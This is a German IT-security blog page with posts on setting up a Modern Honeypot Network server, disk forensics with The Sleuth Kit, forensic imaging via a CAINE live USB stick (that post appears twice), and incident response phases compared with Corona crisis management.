Modern Honeypot Network – Teil 1: Kommandozentrale auf DigitalOcean

Letztens kam mir die Idee einen Honeypot aufzusetzen, um Daten über das Vorgehen von Hackern zu sammeln. Also habe ich mich damit beschäftigt und mir mit Modern Honeypot Network (MHN) ein passendes Framework gesucht. Da ich keinen lokalen Honeypot aufsetzen wollte, habe ich eine cloudbasierte Variante mit DigitalOcean realisiert. In diesem Beitrag beschreibe ich kurz was ein Honeypot ist und wie man den MHN-Server einrichtet. In Teil 2 beschreibe ich dann exemplarisch die Einrichtung eines Sensors (des eigentlichen Honypots).

DOCH WAS GENAU IST EIGENTLICH EIN HONEYPOT?

Den Sinn eines Honeypots kann man sich aus der Übersetzung des Worts ins Deutsche eigentlich schon erschließen: Honigtopf. Ja okay.. Vielleicht bedarf es doch einer kleinen Erklärung. Ein Honeypot ist eine Netzwerkkomponente, die einen Angreifer gezielt anlocken soll. D.h. entweder soll der Angreifer von anderen wichtigen Netzwerkkomponenten ferngehalten und abgelenkt werden oder man möchte, so wie ich, gezielt sein Verhalten analysieren. Daher legt man den Köder aus, der ihm den Weg “erleichtert”, gleichzeitig aber auch in eine Sackgasse führt. Schlau oder?!

Und warum habe ich nun MHN gewählt? Ganz einfach… es ist Open Source, auf Github erhältlich und ermöglicht eine leichte Installation auf Linux-Systemen.

UND WIE IST MHN AUFGEBAUT?

MHN ist im Grund eine zentralisierter Server der als Kommandozentrale dient (sog. MHN-Server). Um ihn herum bauen wir verschiedene Sensoren, die unsere eigentlichen Honeypots sind. Auf meinem MHN-Server werden dann die ganzen Daten gesammelt. Also let´s go!

EINRICHTEN VON MHN AUF DIGITALOCEAN

Ich verzichte hier darauf, euch jetzt genau zu erklären, wie man sich bei DigitalOcean anmeldet. Das dürfte jeder hinbekommen 🙂

Wenn ihr dann ein Konto angelegt habt, müsst ihr ein neues Droplet anlegen. Als Image wählt ihr Ubuntu 18.04. aus, wählt die kleinste Größe und als Serverstandort “Frankfurt” aus (kleiner Disclaimer: die kleinste Größe reicht völlig aus, kostet aber ca. 5 Euro im Monat!). Die weiteren Optionen bleiben unbearbeitet. Dann könnt ihr das Droplet anlegen und bekommt per Mail die Zugangsdaten geschickt.

Bild 1: Droplet auf DigitalOcean einrichten
Honeypot IT-Sicherheit
Bild 2: Droplet auf Digital Ocean Serverstandort/Größe

VERBINDUNGSAUFBAU ZUM DROPLET MIT PUTTY

Um nun MHN auf dem Droplet zu installieren, müsst ihr euch mit dem Protokoll SSH über PuTTY damit verbinden. Nach Öffnen von PuTTY müsst ihr einfach die in der E-Mail erhaltene IP-Adresse unter “Host Name” eingeben und “SSH” (Port: 22) auswählen. Dann solltet ihr mit “Open” die Verbindung öffnen. Danach wird man in der Shell nach dem Passwort gefragt. Dieses am besten aus der Mail kopieren und per Rechtsklick in die Shell einfügen. Dann solltet ihr ein neues Passwort festlegen, welches ihr euch natürlich merken müsst. War dies erfolgreich, seid ihr auf dem Droplet!

EINRICHTEN VON MHN AUF DEM DROPLET

Für die Einrichtung müsst ihr folgende Befehle (am besten unter dem “root” über den Befehl sudo su) eingeben:

sudo apt-get upgrade         ###Maschine auf neuen Stand bringen
sudo apt-get update          ###Updaten
cd /opt/                     ###Wechsel in Ordner /opt/
apt-get install git -y       ###Git installieren
git clone https://github.com/threatstream/mhn.git   ###Download von MHN
cd mhn                       ###Wechsel in Verzeichnis /mhn/
sudo bash install.sh         ###Installationsskript ausführen

 

Danach läuft der Installationsprozess ab, der eine Weile benötigt. Die in Bild 3 angezeigten Eingaben müsst ihr für die ersten Schritte gleich machen, sonst könnte es zu Fehlermeldungen kommen. Diese können danach in der Datei mhn/server/config.py ändern. Achtet darauf, dass ihr bei “Superuser email” auch eure Mailadresse eintragt, mit der ihr euch später bei der Kommandozentrale anmelden wollt. Beim Passwort müsst ihr ebenfalls ein eigenes für die Anmeldung wählen. Ubuntu hat die Eigenheit, dass die Eingabe nicht angezeigt wird (also nicht wundern, wenn kein Text bei der Eingabe erscheint…).

MHN Config Honeypot
Bild 3: MHN-Configuration

Ist dies erfolgreich verlaufen, so haben wir nun MHN auf dem Server installiert!! Einfach oder? Ihr habt also nun eure Kommandozentrale eingerichtet. Danach könnt ihr euch im Webbrowser unter der IP-Adresse eures Droplets einwählen und eure Daten einsehen oder neue Honeypots einrichten. Wie ihr das macht? Das zeige ich euch in Modern Honeypot Network – Teil 2: Honeypot einrichten. Euer Web-Interface müsste wie in Bild 4 aussehen.

Bild 4: Web-Interface von MHN (Login-Seite)
Tizian Kohler Forensik Datenträger

,

Datenträgerforensik mit „The Sleuth Kit“

In diesem Artikel geht es um die forensische Analyse des im Artikel “Sicherung eines Rechners mit Live USB-Stick (CAINE)” gesicherten Festplattenabbilds “dell.img”. Ich kann in einem Artikel natürlich keine komplette forensische Analyse machen.

Es geht mir eigentlich viel mehr darum euch Grundlagen des wirklich sinnvollen “The Sleuth Kit” zu zeigen und sie näher zu beschreiben. Ein Deep-Dive in die Datenträgerforensik bekommt ihr mit Brian Carriers Buch “File System Forensic Analysis” (einfach mal in Google suchen). 

Was ist “The Sleuth Kit” überhaupt?

“The Sleuth Kit” (TSK) sind von Brian Carrier entwickelte Kommandozeilen-Tools, die im Bereich der Datenträgerforensik sehr häufig zum Einsatz kommen. Eine passende Benutzeroberfläche hierzu bietet die kostenfreie Forensik-Suite “Autopsy”. Beide Tools sind kostenlos und hier erhältlich. TSK ermöglicht die schnelle und effiziente Analyse der Partitionstabelle (bzw. des Master Boot Records) einer Platte, der einzelnen Partitionen und auch die Suche nach gelöschten Daten auf der Platte. 
Bevor wir aber mit der Analyse beginnen möchte ich euch das “Forensic-Cheat-Sheet for Linux and TSK” nicht vorenthalten, da es die Befehle wirklich übersichtlich darstellt (und zu einem großen Teil auch unter Windows anwendbar ist, was TSK betrifft).

Also beginnen wir mit der beispielhaften Analyse:

Um mir also einen Überblick über das Image oder einen Datenträger zu verschaffen nutze ich das Kommando “mmls” von TSK. “mmls” zeigt euch eine übersichtliche Statistik des Volumen bzw. stellt den Master Boot Record des Datenträgers übersichtlich dar (siehe Bild 1).

Der Befehl dazu ist folgendermaßen:

mmls <Pfad zum Image>
Bild 1: mmls – Master Boot Record von dell.img

Die Partitionstabelle zeigt drei Partitionen unter 002 = Dell Utilities FAT, 004 = NTFS und 005 = NTFS. Von diesen zeigt es den Start- und Endsektor sowie die Länge. Für uns Forensiker sind natürlich die unallozierten Bereiche sehr wertvoll, da dort noch Daten von früheren Nutzeraktionen enthalten könnten oder ein besonders affiner IT-Nerd dort auch Daten verstecken könnte.

Würde man die Partitionen einzeln in eine externe Datei ausgeben wollen müsste man beispielweise für die NTFS-Partition mit Index 005 folgenden Befehl eingeben:

mmcat -i raw -b 512 dell.img 005 > "D:\NTFS-Partition.raw"

### i = Imagetyp
### b = Blockgröße (siehe Bild 1)
### 005 = Index der Partition
### Ausgabe erfolgt in Datei "NTFS-Partition.raw" auf D:

Das Dateisystem von der NTFS-Partition am Index 5 wollte ich nun weiter untersuchen. Ihr könnte die folgenden Kommandos aber auch ähnlich an den anderen Dateisystemen betrachten. Hierzu habe ich den Befehl “fsstat” von TSK verwendet:

fsstat -i raw -b 512 -o 21180416 "Case1\dell.img"
###fsstat -i <Imagetyp> -b <Blockgröße> -o <Offset zur Partition> <Pfad zum Image>

Die meisten Infos hierfür bekommt man aus dem Ergebnis von “mmls” (Bild 1). Das Ergebnis könnt ihr in Bild 2 sehen.

Bild 2: fsstat – NTFS-Partition

In dem Ergebis könnt ihr erst einmal einige Infos zum Dateisystem sehen. Neben dem Typ gibt das Tool auch die Seriennummer des Volumen und das Betriebssystem aus. In der Sektion “METADATA INFORMATION” bekommen wir Infos wo die “Master File Table” startet, was für eine weitere Analyse natürlich nützlich werden kann. In “CONTENT INFORMATION” werden zudem auch die einzelnen Attribute und deren “Offsets”, Größe und Flags aufgezeigt. Kleine Nebeninfo: Interessant bei NTFS ist, dass das Flag “Resident / Non-Resident” anzeigt, ob das Attribut in der MFT selbst gespeichert ist oder die Daten ausgelagert wurden(=Non-Resident). Kleine Dateien bis ca. 700 kB sind in der MFT gespeichert und werden nicht ausgelagert.

Möchtet ihr nun die Inhalte der Partition betrachten, könnt ihr mit dem Kommando “fls” arbeiten. Ich habe dazu folgenden Befehl ausgeführt:

fls -i raw -b 512 -o 21180416 "Case\dell.img"
### fls -i <Imagetyp> -b <Blockgröße> -o <Offset zur Partition> <Pfad zum Image>

Das Ergebnis habe ich jetzt nicht separat in einem Bild hier aufgeführt. Die Ausgabe ist eigentlich selbsterklärend. Es werden dabei Verzeichnisse und Dateien aufgeführt. Außerdem können damit auch gelöschte Dateien angezeigt werden. Wollt ihr auch die Inhalte der Unterverzeichnisse sehen, gebt ihr die Option “-r” ein (rekursives Vorgehen). Ein Ausschnitt könnt ihr in Bild 3 sehen.

IT-Forensik mit TSK - fls-Kommando
Bild 3: Ausschnitt des rekursiven fls-Kommandos

In Bild 4 habe ich vom obigen fls-Kommando die letzte Datei (CIMG4064.JPG in Cluster 101527) ausgewählt und möchte mit dem Kommando “blkstat” erfahren, ob der jeweilige Block dieser Datei alloziert ist. Als Info wurde die Nummer des Clusters und der Status “allocated” ausgegeben. Aber wartet mal…auf Bild 4 ist vor der Datei ein “*” (Asterisk), was bedeutet, dass die Datei gelöscht wurde.

Bild 4: blkstat von Inode 101527

Um diesen Block also näher zu untersuchen habe ich in das Kommando “istat” von TSK und wie in Bild 5 die Nummer des Clusters (101527) mit angegeben. Dies führte natürlich zu einem falschen Ergebnis. Man muss also wirklich aufpassen, dass man die Infos nicht missinterpretiert. In dem Block wurde also schon eine neue Datei alloziert….

Trotzdem kann ich euch an Bild 5 die grundlegende Struktur einer Datei in NTFS erklären. In den farbigen Kästen habe ich die verschiedene Attribute von einer Datei markiert. Rot zeigt das Metadata-File $STANDARD_INFORMATION, welches insbesondere die Zeitstempel der Datei (also Metadaten beinhaltet). $FILE_NAME (grüne Kästen) ist standardmäßig zweimal vorhanden. Daran sieht man nun auch, dass der Dateiname “WPFT63~1.CNV” nicht mit dem in Bild 4 übereinstimmt. Im gelben Kasten könnt ihr das Metadata-File $DATA sehen, welches das Flag “Non-Resident” hat. Darunter sind viele Blöcke aufgeführt, die aufzeigen, wo die Daten der Datei liegen. Da die Datei zu groß für eine Speicherung in der MFT waren wurde sie ausgelagert.

The Sleuth Kit - istat - Forensik
Bild 5: Ausgabe von istat (The Sleuth Kit)

Das solls über “The Sleuth Kit” und Datenträgerforensik nun mal gewesen sein. Ihr konntet in der obigen Untersuchung nun sehr gut sehen, dass man sehr schnell Daten fehlinterpretieren kann. Also immer vorsichtig sein und die Ausgaben der Tools hinterfragen. Dies lässt sich vereinfacht mit anderen Tools machen. Beispielsweise könnt ihr das mit der Forensik-Suite “Autopsy” sehr gut, da ihr dort durch die Dateien, wie normal an einem Computer, navigieren könnt. Also viel Spaß mit The Sleuth Kit, Autopsy und der Analyse!

Bei Fragen könnt ihr euch gerne hier an mich wenden.

IT-Forensik Live USB

,

Sicherung eines Rechners mit Live-USB-Stick (CAINE)

In letzter Zeit habe ich einige Artikel über eher strategische Themen geschrieben und möchte euch mit diesem Artikel mehr Praxiswissen an die Hand geben. Um in der Informatik wirklich Dinge zu verstehen, muss man sie gemacht haben. Wie ich auch im Artikel „Die forensische Untersuchung in der IT“ geschrieben habe, ist es wichtig seine Tools zu kennen! Daher möchte ich euch in diesem Artikel die Live-Sicherung eines Laptops näher zeigen. Sorry auch schonmal für die schlechte Bildqualität (…wollte aber das System nicht durch Screenshots verändern).

Kleiner Kommentar: Normal wäre es vernünftig die Festplatte aus dem Laptop auszubauen und an einen Hardware-Writeblocker anzuschließen, aber was macht man wenn man keinen zur Hand hat? Live-USB oder -CD mit Software-Writeblocker verwenden!
Ein Live-USB-Stick oder eine Live-CD kommen also immer dann zum Einsatz, wenn sich die Festplatte beispielsweise nicht aus dem PC ausbauen lässt. Dann muss versucht werden das System über diese zu booten. So verändert man die Daten auf dem relevanten Volumen nicht und kann forensisch (relativ) sauber arbeiten.

Was braucht man dazu?

  • Einen Live USB-Stick mit einer bootbarem Betriebssystem, z.B. von CAINE
  • Externe Festplatte zur Sicherung der Daten

Warum habe ich mich für CAINE entschieden?

  • Zu finden unter: https://www.caine-live.net/
  • Es ist kostenlos!- Es mountet die Festplatten mit Software-Schreibschutz
  • Es hat einen Haufen von nützlicher Tools- Gut dokumentiert
  • Bei Installation wird neben dem Live-System auch noch das Nirsoft-Bundle und weitere Tools installiert

Wie wird nun so ein Live-USB-Stick erzeugt (für Windows Computer)?

1. Lade CAINE herunter

2. Lade den Universal USB Installer herunter

3. Verbinde den USB-Stick mit dem PC und führe Universal USB Installer aus

4. Folge den Anweisungen

In Englisch ist das hier alles noch genauer erklärt: https://ixnfo.com/en/how-to-make-a-bootable-usb-flash-drive-with-caine.html

Wie bin ich also bei der Sicherung vorgegangen?

Der Rechner sollte zum Start ausgeschaltet sein. Dann wird der USB-Stick eingesteckt und das Gerät wird gestartet. Ihr solltet dann über bestimmte Tasten (meist F2, F10 oder F12) das BIOS bzw. Boot-Menü aufrufen(wird meist beim Start unten anzeigt). Danach wählt man als Boot-Medium den Live-USB-Stick mit CAINE aus und startet den Rechner. Nach dem Start habe ich die externe Festplatte angesteckt. Danach sah das Setting aus wie auf dem Bild.

Bild 1: Setting nach Hochfahren des PC (externe Festplatte und Live-Bootstick mit CAINE)

Alle Festplatten sind nun mit Schreibschutz versehen und müssen vom IT-Forensiker manuell „freigegeben“ werden.
Für das weitere Vorgehen benötigt ihr nur das Terminal, das ich nach dem Hochfahren geöffnet habe. 
Danach habe ich mit folgendem Befehl gecheckt, welche Festplatte/Partition unter welcher Bezeichnung angeschlossen sind:

fdisk -l
Bild 2: fdisk -l

Auf dem Bild könnt ihr nun meinen Live-USB-Stick /dev/sdb1 und die externe Festplatte unter /dev/sdc1 und /dev/sdc2 sehen. Für wen die Bezeichnungen für die Festplatten unter Linux oder anderen unixoiden Systemen unbekannt ist dem empfehle ich diesen Artikel von ubuntuuser.

Nachdem wir nun wissen, welche unsere Datenträger sind, können wir den Schreibschutz für unsere Platte aufheben. Hierzu bietet CAINE ein schon eine Verknüpfung in der Startleiste (Bild 2 rechts unten, „Festplattensymbol“) oder ihr sucht es im Menü: UnBlock.

Bild 3: UnBlock auf CAINE zum Aufheben des Schreibschutzes

Auf Bild 3 seht ihr, wie UnBlock geöffnet aussieht. Da ich den Schreibschutz für „sdc“ aufheben will, markiere ich es mit einem Häkchen und drücke auf „OK“. Danach ist der Schreibschutz aufgehoben. Es sollte also vorher sichergestellt sein, dass es sich wirklich um das Ziellaufwerk handelt!

Danach konnte ich die Sicherung mit folgender Befehlsfolge starten:

sudo mkdir /mnt/Evidences1    ### "Evidences1" kann ein beliebiger Name im Mountverzeichnis sein
sudo mount /dev/sdc2 /mnt/Evidences1/    ### warum sdc2? Weil sdc1 die geschützte Partition für das Dateisystem ist
cd /mnt/Evidences1/    ### Wechsel in der Mountverzeichnis
mkdir Case1    ### neues Unterverzeichnis
cd Case1    #### Wechsel in Unterverzeichnis 
sudo dc3dd if=/dev/sda of=dell.img hash=md5 log=md5hashsum.txt  ### Kommando zum Ausführen der Sicherung
### if = Input-File 
### of = Output-File (hier: RAW-Abbild des Typs "img")
### hash = Hashfunktion, mit der das Abbild gehasht werden soll
### log = Logfile, welches auch den Hash des Abbilds enthät

### Nach Abfeuern des Befehls kann es je nach Festplattengröße sehr lange dauern. Also abwarten und Tee trinken!

Warum verwende ich dc3dd?

dc3dd ist eine verbesserte Abwandlung des Standard-Tools „dd“, welches von Jesse Kornblum des Department of Defense Cyber Crime Center entwickelt wurde. Es enthält neben der Fortschrittsanzeige auch eine eingebaute Hash-Funktionalität und Error-Logging. Alternativ dazu könnte auch „dcfldd“ (Link dazu) oder klassisch „dd“ verwendet werden. Wer es lieber mit Benutzeroberfläche will kann auch den FTK-Imager von AccessData (Link dazu) verwenden.

Nachdem ihr die obigen Schritte durchgemacht habt, könnt ihr die externe Festplatte abziehen und das Image in einem weiteren Schritt analysieren oder beliebig oft kopieren. In meinem Artikel Datenträgerforensik mit „The Sleuth Kit“ habe ich das hier gesicherte Image mit „The Sleuth Kit“ im Rahmen der Datenträgerforensik einmal beispielhaft näher untersucht. Viel Spaß beim Lesen!

In letzter Zeit habe ich einige Artikel über eher strategische Themen geschrieben und möchte euch mit diesem Artikel mehr Praxiswissen an die Hand geben. Um in der Informatik wirklich Dinge zu verstehen, muss man sie gemacht haben. Wie ich auch im Artikel „Die forensische Untersuchung in der IT“ geschrieben habe, ist es wichtig seine Tools zu kennen! Daher möchte ich euch in diesem Artikel die Live-Sicherung eines Laptops näher zeigen. Sorry auch schonmal für die schlechte Bildqualität (…wollte aber das System nicht durch Screenshots verändern).

Kleiner Kommentar: Normal wäre es vernünftig die Festplatte aus dem Laptop auszubauen und an einen Hardware-Writeblocker anzuschließen, aber was macht man wenn man keinen zur Hand hat? Live-USB oder -CD mit Software-Writeblocker verwenden!
Ein Live-USB-Stick oder eine Live-CD kommen also immer dann zum Einsatz, wenn sich die Festplatte beispielsweise nicht aus dem PC ausbauen lässt. Dann muss versucht werden das System über diese zu booten. So verändert man die Daten auf dem relevanten Volumen nicht und kann forensisch (relativ) sauber arbeiten.

Was braucht man dazu?

  • Einen Live USB-Stick mit einer bootbarem Betriebssystem, z.B. von CAINE
  • Externe Festplatte zur Sicherung der Daten

Warum habe ich mich für CAINE entschieden?

  • Zu finden unter: https://www.caine-live.net/
  • Es ist kostenlos!- Es mountet die Festplatten mit Software-Schreibschutz
  • Es hat einen Haufen von nützlicher Tools- Gut dokumentiert
  • Bei Installation wird neben dem Live-System auch noch das Nirsoft-Bundle und weitere Tools installiert

Wie wird nun so ein Live-USB-Stick erzeugt (für Windows Computer)?

1. Lade CAINE herunter

2. Lade den Universal USB Installer herunter

3. Verbinde den USB-Stick mit dem PC und führe Universal USB Installer aus

4. Folge den Anweisungen

In Englisch ist das hier alles noch genauer erklärt: https://ixnfo.com/en/how-to-make-a-bootable-usb-flash-drive-with-caine.html

Wie bin ich also bei der Sicherung vorgegangen?

Der Rechner sollte zum Start ausgeschaltet sein. Dann wird der USB-Stick eingesteckt und das Gerät wird gestartet. Ihr solltet dann über bestimmte Tasten (meist F2, F10 oder F12) das BIOS bzw. Boot-Menü aufrufen(wird meist beim Start unten anzeigt). Danach wählt man als Boot-Medium den Live-USB-Stick mit CAINE aus und startet den Rechner. Nach dem Start habe ich die externe Festplatte angesteckt. Danach sah das Setting aus wie auf dem Bild.

Bild 1: Setting nach Hochfahren des PC (externe Festplatte und Live-Bootstick mit CAINE)

Alle Festplatten sind nun mit Schreibschutz versehen und müssen vom IT-Forensiker manuell „freigegeben“ werden.
Für das weitere Vorgehen benötigt ihr nur das Terminal, das ich nach dem Hochfahren geöffnet habe. 
Danach habe ich mit folgendem Befehl gecheckt, welche Festplatte/Partition unter welcher Bezeichnung angeschlossen sind:

fdisk -l
 

Bild 2: fdisk -l

Auf dem Bild könnt ihr nun meinen Live-USB-Stick /dev/sdb1 und die externe Festplatte unter /dev/sdc1 und /dev/sdc2 sehen. Für wen die Bezeichnungen für die Festplatten unter Linux oder anderen unixoiden Systemen unbekannt ist dem empfehle ich diesen Artikel von ubuntuuser.

Nachdem wir nun wissen, welche unsere Datenträger sind, können wir den Schreibschutz für unsere Platte aufheben. Hierzu bietet CAINE ein schon eine Verknüpfung in der Startleiste (Bild 2 rechts unten, „Festplattensymbol“) oder ihr sucht es im Menü: UnBlock.

Bild 3: UnBlock auf CAINE zum Aufheben des Schreibschutzes

Auf Bild 3 seht ihr, wie UnBlock geöffnet aussieht. Da ich den Schreibschutz für „sdc“ aufheben will, markiere ich es mit einem Häkchen und drücke auf „OK“. Danach ist der Schreibschutz aufgehoben. Es sollte also vorher sichergestellt sein, dass es sich wirklich um das Ziellaufwerk handelt!

Danach konnte ich die Sicherung mit folgender Befehlsfolge starten:

sudo mkdir /mnt/Evidences1    ### "Evidences1" kann ein beliebiger Name im Mountverzeichnis sein

sudo mount /dev/sdc2 /mnt/Evidences1/    ### warum sdc2? Weil sdc1 die geschützte Partition für das Dateisystem ist

cd /mnt/Evidences1/    ### Wechsel in der Mountverzeichnis

mkdir Case1    ### neues Unterverzeichnis

cd Case1    #### Wechsel in Unterverzeichnis 

sudo dc3dd if=/dev/sda of=dell.img hash=md5 log=md5hashsum.txt  ### Kommando zum Ausführen der Sicherung
### if = Input-File 
### of = Output-File (hier: RAW-Abbild des Typs "img")
### hash = Hashfunktion, mit der das Abbild gehasht werden soll
### log = Logfile, welches auch den Hash des Abbilds enthät

### Nach Abfeuern des Befehls kann es je nach Festplattengröße sehr lange dauern. Also abwarten und Tee trinken!

Warum verwende ich dc3dd?

dc3dd ist eine verbesserte Abwandlung des Standard-Tools „dd“, welches von Jesse Kornblum des Department of Defense Cyber Crime Center entwickelt wurde. Es enthält neben der Fortschrittsanzeige auch eine eingebaute Hash-Funktionalität und Error-Logging. Alternativ dazu könnte auch „dcfldd“ (Link dazu) oder klassisch „dd“ verwendet werden. Wer es lieber mit Benutzeroberfläche will kann auch den FTK-Imager von AccessData (Link dazu) verwenden.

Nachdem ihr die obigen Schritte durchgemacht habt, könnt ihr die externe Festplatte abziehen und das Image in einem weiteren Schritt analysieren oder beliebig oft kopieren. In meinem Artikel Datenträgerforensik mit „The Sleuth Kit“ habe ich das hier gesicherte Image mit „The Sleuth Kit“ im Rahmen der Datenträgerforensik einmal beispielhaft näher untersucht. Viel Spaß beim Lesen!

incident response tiziankohler

, , , ,

Parallelen zwischen Krisenmanagement in der Corona-Krise und dem Incident Response Prozess?

Hat Deutschland einen guten Incident Response Prozess? Der Incident Response Prozess (kurz: IR-Prozess) beschreibt einen Ablaufplan, der im Falle eines sog. Security-Incidents (=Sicherheitvorfalls) im Zusammenhang mit der Informationstechnik zum Tragen kommt. Er wird als Teil des Incident Management gesehen und kann ein Unternehmen in Krisenzeiten vor sehr großen finanziellen Schäden bewahren. Der Corona-Virus kann ebenfalls als Incident bzw. als Angriff auf die weltweite Infrastruktur gesehen werden, da die komplette Wirtschaft aktuell dadurch beeinflusst wird. Wie auch die Weltwirtschaft sind die meisten Unternehmen heute stark von einer funktionierenden IT und Produktion abhängig. Der Corona-Virus legt aktuell alles lahm und Regierungen schalten in den Katastrophenmodus. Die Leute bekommen Panik. Dass es ihrem Unternehmen in einem Security-Incident nicht auch so geht, möchte ich ihnen den IR-Prozess in diesem Artikel näher vorstellen. Der IR-Prozess besteht in der Regel aus 6 Phasen: 

1. Preparation/Vorbereitung: Ohne Vorbereitung ist alles nichts… Trifft ein Unternehmen keine Vorbereitungen, um auf einen Cyberangriff zu reagieren, kann dies die Lage sogar verschlimmern. Unkoordiniertes Vorgehen löst in vielen Menschen Panik aus und führt zu irrationalen Handlungen. Doch gerade bei einem Cyberangriff sind solche Verhaltensweisen nicht zielführend. Möchte man einen Vergleich zur aktuellen Corona-Krise wagen, ist Deutschland relativ zu anderen Ländern gesehen mit dem Gefahrenabwehrrecht und den etablierten medizinischen Infrastrukturen sehr gut aufgestellt. Diverse Notfallpläne greifen wie Zahnräder ineinander und die Maßnahmen können stufenweise hochgefahren werden. Umso wichtiger ist es daher für Unternehmen sich auf einen möglichen „Tag X“ vorzubereiten und einen Incident Response Plan zu erstellen. Zuständiges Personal sollte namentlich benannt werden und evtl. in Form eines „Cyber Security Incident Response Team“ (CSIRT) organisatorisch aufgestellt werden. Das CSIRT sollte für solche Fälle auch ausgebildet werden und kann in großen Unternehmen sogar dauerhaft bestehen. Auch Analyse-Tools (genauer: forensische Hard- und Software) sollten angeschafft werden, um in diesen Fällen ein zielgerichtetes Vorgehen zu ermöglichen. Last-Minute-Käufe führen hier zu unsachgemäßen Ausgaben, ganz abgesehen davon, dass gar kein geschultes Personal für die Tools vorhanden ist. Also: Legen Sie am besten einen schriftlichen Incident Response Plan an. 

2. Detection/Entdeckung: Die Entdeckung eines Cyberangriffs erfolgt im Unternehmen häufig dadurch, dass die Systeme nicht mehr richtig funktionieren und eine Prüfung dahingehend stattfindet oder durch die implementierten Security-Tools, die im Rahmen des „Security Incident and Event Management“(SIEM) eingesetzt werden. Diese Phase der Entdeckung gilt als Startschuss für die ersten Maßnahmen im Rahmen des festgelegten IR-Plans. Bei der Corona-Krise waren erste Anzeichen vor Wochen schon in China erkennbar. Betrachtet man die Welt als ein großes Computernetzwerk eines Unternehmens so wären hier schon die ersten Indikatoren für einen unternehmensweiten Ausbruch vorhanden gewesen. Die Netzwerkverbindungen (weltweite Personentransporte, wie Flüge, Bus-, Zugverbindungen usw.) wurden durch Europa anfangs nur tröpfchenweise eingeschränkt. Eine Einschränkung von 100 auf 0 wäre für das Gesamtsystem der Wirtschaft logischerweise tödlich gewesen. Genau so wäre es auch für ein Unternehmen. Physikalisch kann man hier nicht einfach an den Server gehen und alle Kabel ziehen oder einfach alle bestehenden Verbindungen kappen und die Ports blockieren. Daher wird erst eine gründliche Analyse nötig, die den nächsten Schritt im IR-Prozess darstellt. 

3. Analysis/Analyse: Das im IR-Plan festgelegte Personal oder auch externe Partner beginnen nach der Feststellung eines Sicherheitsvorfalls nun die Systemaktivitäten mit dem Ziel zu analysieren die Ursache des Cyberangriffs zu finden und den Weg der Angreifer nachzuvollziehen (…was nicht immer so leicht ist). Hier stehen bestimmte Methoden und Tools zur Verfügung. Eine besondere Bedeutung hat dabei die Sammlung aller möglichen Daten aus den Bereichen der Logfiles, des Netzwerkverkehrs, der Prozesse und der Speicher (sowohl Arbeitsspeicher, als auch persistente Speicherquellen). Die Analyse kann je nach Datenmenge einige Tage oder auch nur Stunden in Anspruch nehmen. In der Corona-Krise bestanden zwar entsprechende medizinische Testmethoden, jedoch war das Vorgehen bei Weitem nicht standardisiert, wie es im forensischen Bereich ist.Sind die Maßnahmen beendet so dürfte die Analyse die Grundlage für alle folgenden Maßnahmen geschaffen haben. Daher sollte sie mit der notwendigen Gründlichkeit durchgeführt werden! 

4. Containment/Eindämmung: Zum aktuellen Zeitpunkt befinden wir uns bei der Corona-Krise genau in dieser Phase. Nachdem nun ein Verständnis herrscht mit welchem „Gegner“ wir es zu tun haben, werden die Schutzmaßnahmen nach und nach hochgefahren, um die Ausbreitung des Virus zu stoppen. Einrichtungen müssen geschlossen bleiben, soziale Kontakte sind zu meiden und nur „systemrelevante“ Bereiche sollten noch betrieben werden. Bezogen auf IT-Infrastrukturen sollte ähnlich vorgegangen werden. Wichtig ist hier jedoch, dass einem stufenweisen Plan gefolgt wird: 

    1. Short-term-Maßnahmen: Schadensbegrenzung und Isolation der betroffenen Systeme, um im Gesamtsystem weiterhin arbeitsfähig zu sein. Mögliche Maßnahmen wären hier auf Netzwerkbasis die Schließung von Ports oder die Filterung IP-Adressen durch Firewall-Regeln. Hilft alles nichts, so müssen die Netzwerkkabel gezogen werden. Dies wäre analog einer „Ausgangssperre“ durch die Bundesregierung zu sehen. Die jeweiligen Server und Clients könnten nicht mehr kommunizieren und damit kein „Sozialleben“ mehr aufrechterhalten, was einen entsprechenden Einfluss auf das Gesamtsystem hat. Daher sollten diese Maßnahmen mit den Verantwortlichen diskutiert und mit Bedacht gewählt werden.
    2. Long-term-Maßnahmen: Neben der Herstellung der temporären Arbeitsfähigkeit des Gesamtsystems sollten parallel „saubere“ Maschinen und Systeme aufgesetzt werden, die dann nach und nach die „reparierten“ temporären System ersetzen. 

 5. Eradiction and recovery/Beseitigung und Wiederhestellung: Die o.g. stete Ersetzung der Systeme zählt in der Regel in diese Phase. Die betroffenen Systeme sollten durch Re-Imaging komplett neu aufgesetzt werden. Hierbei können Backups eine wichtige Rolle spielen, weshalb ein technisch intelligentes Backup-Konzept sehr wichtig ist. Die Rechte der betroffenen Benutzeraccounts sollten genau geprüft und angepasst werden. Auch alle übrigen Accounts müssen hinsichtlich einer Kompromittierung überprüft werden. Wo nötig müssen diese neu aufgesetzt bzw. deren Rechte neu definiert werden.Sobald die Arbeitsfähigkeit in der Gänze erreicht ist, ist es unabdingbar die Systeme auf Schwachstellen hin zu prüfen. Es muss letztlich sichergestellt sein, dass die Systeme frei von Malware sind. 

6. Post-incident activity/Nachbereitung: Die Nachbereitung zählt zu den wichtigsten Phasen im IR-Prozess. Lernt ein Unternehmen nicht aus seinen Fehlern, so könnte der nächste Cyberangriff den finanziellen Ruin bedeuten. Daher ist es wichtig die Abläufe und Ereignisse mit den verantwortlichen Personen genau zu beleuchten, um Optimierungspotenzial zu erkennen. Der IR-Plan ist nicht in Stein gemeißelt und sollte daher an notwendiger Stelle angepasst werden. Was sind also die Learnings aus dem Vorfall? Wie war das Personal aufgestellt? Sind Schulungen nötig? Ist eine bessere Absprache und Zusammenarbeit mit den Partnern nötig?Außerdem sollten die Tools beleuchtet werden: Sind die Tools der IT-Sicherheit ausreichend und zuverlässig? Wo nötig sollte hier angepasst und Prozesse geändert werden. Im Gesamten gilt: Proaktiv zu handeln ist besser als reaktiv zu handeln! Daher sollten die Systeme regelmäßig mit Updates versorgt werden. Jede einzelne Komponente (Hard- und Software) sollte hierauf überprüft werden. Funktionierende Schutzmechanismen, wie IDS/IPS und Firewalls sowie Defense-in-depth Ansätze sollten umgesetzt werden.Um nochmals die Parallelen zur Corona-Krise zu ziehen: Veraltete Systeme sind ähnlich einem schwächelnden Immunsystem! Diese könnte lebensbedrohlich werden. Hat man also einen Plan und ist auf solche Fälle vorbereitet, so lassen sich Sicherheitsvorfälle zwar nicht immer verhindern, aber sie laufen glimpflicher und ohne Panik ab. Analog könnte man den IR-Prozess also auch in seinen Phasen auf die Corona-Krise anwenden.

1 2 3